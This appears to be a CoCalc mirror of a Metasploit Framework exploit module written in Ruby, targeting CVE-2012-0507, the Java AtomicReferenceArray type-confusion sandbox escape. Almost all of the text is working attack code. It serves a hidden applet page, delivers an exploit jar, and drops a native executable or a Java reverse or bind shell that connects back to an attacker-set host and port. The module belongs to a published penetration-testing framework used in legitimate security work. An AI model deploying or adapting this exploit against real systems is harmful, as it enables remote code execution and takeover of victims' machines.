CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/java_atomicreferencearray.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::EXE
11
12
include Msf::Exploit::Remote::BrowserAutopwn
13
autopwn_info({ :javascript => false })
14
15
def initialize( info = {} )
16
super( update_info( info,
17
'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',
18
'Description' => %q{
19
This module exploits a vulnerability due to the fact that
20
AtomicReferenceArray uses the Unsafe class to store a reference in an
21
array directly, which may violate type safety if not used properly.
22
This allows a way to escape the JRE sandbox, and load additional classes
23
in order to perform malicious operations.
24
},
25
'License' => MSF_LICENSE,
26
'Author' =>
27
[
28
'Jeroen Frijters', #Initial discovery according to his blog
29
'sinn3r', # metasploit module
30
'juan vazquez', # metasploit module
31
'egypt' # added support for older java versions
32
],
33
'References' =>
34
[
35
['CVE', '2012-0507'],
36
['OSVDB', '80724'],
37
['BID', '52161'],
38
['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],
39
['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],
40
['URL', 'http://schierlm.users.sourceforge.net/TypeConfusion.html'],
41
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507'],
42
['URL', 'https://www.rapid7.com/blog/post/2012/03/29/cve-2012-0507--java-strikes-again']
43
],
44
'Platform' => %w{ java linux osx solaris win },
45
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
46
'Targets' =>
47
[
48
[ 'Generic (Java Payload)',
49
{
50
'Platform' => ['java'],
51
'Arch' => ARCH_JAVA,
52
}
53
],
54
[ 'Windows x86 (Native Payload)',
55
{
56
'Platform' => 'win',
57
'Arch' => ARCH_X86,
58
}
59
],
60
[ 'Mac OS X PPC (Native Payload)',
61
{
62
'Platform' => 'osx',
63
'Arch' => ARCH_PPC,
64
}
65
],
66
[ 'Mac OS X x86 (Native Payload)',
67
{
68
'Platform' => 'osx',
69
'Arch' => ARCH_X86,
70
}
71
],
72
[ 'Linux x86 (Native Payload)',
73
{
74
'Platform' => 'linux',
75
'Arch' => ARCH_X86,
76
}
77
],
78
],
79
'DefaultTarget' => 0,
80
'DisclosureDate' => '2012-02-14'
81
))
82
end
83
84
85
def exploit
86
# load the static jar file
87
path = File.join( Msf::Config.data_directory, "exploits", "CVE-2012-0507.jar" )
88
fd = File.open( path, "rb" )
89
@jar_data = fd.read(fd.stat.size)
90
fd.close
91
92
super
93
end
94
95
96
def on_request_uri( cli, request )
97
data = ""
98
host = ""
99
port = ""
100
101
if not request.uri.match(/\.jar$/i)
102
if not request.uri.match(/\/$/)
103
send_redirect( cli, get_resource() + '/', '')
104
return
105
end
106
107
print_status("Sending #{self.name}")
108
109
payload = regenerate_payload( cli )
110
if not payload
111
print_error("Failed to generate the payload." )
112
return
113
end
114
115
if target.name == 'Generic (Java Payload)'
116
if datastore['LHOST']
117
jar = payload.encoded
118
host = datastore['LHOST']
119
port = datastore['LPORT']
120
vprint_status("Sending java reverse shell")
121
else
122
port = datastore['LPORT']
123
host = cli.peerhost
124
vprint_status( "Java bind shell" )
125
end
126
if jar
127
print_status( "Generated jar to drop (#{jar.length} bytes)." )
128
jar = Rex::Text.to_hex( jar, prefix="" )
129
else
130
print_error("Failed to generate the executable." )
131
return
132
end
133
else
134
135
# NOTE: The EXE mixin automagically handles detection of arch/platform
136
data = generate_payload_exe
137
138
print_status("Generated executable to drop (#{data.length} bytes)." )
139
data = Rex::Text.to_hex( data, prefix="" )
140
141
end
142
143
send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
144
return
145
end
146
147
print_status("Sending jar")
148
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
149
150
handler( cli )
151
end
152
153
def generate_html( data, jar, host, port )
154
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
155
156
html = "<html><head></head>"
157
html += "<body>"
158
html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"
159
html += "<param name=\"data\" value=\"#{data}\"/>" if data
160
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
161
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
162
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
163
html += "</applet></body></html>"
164
return html
165
end
166
167
def generate_jar()
168
return @jar_data
169
end
170
end
171
172
173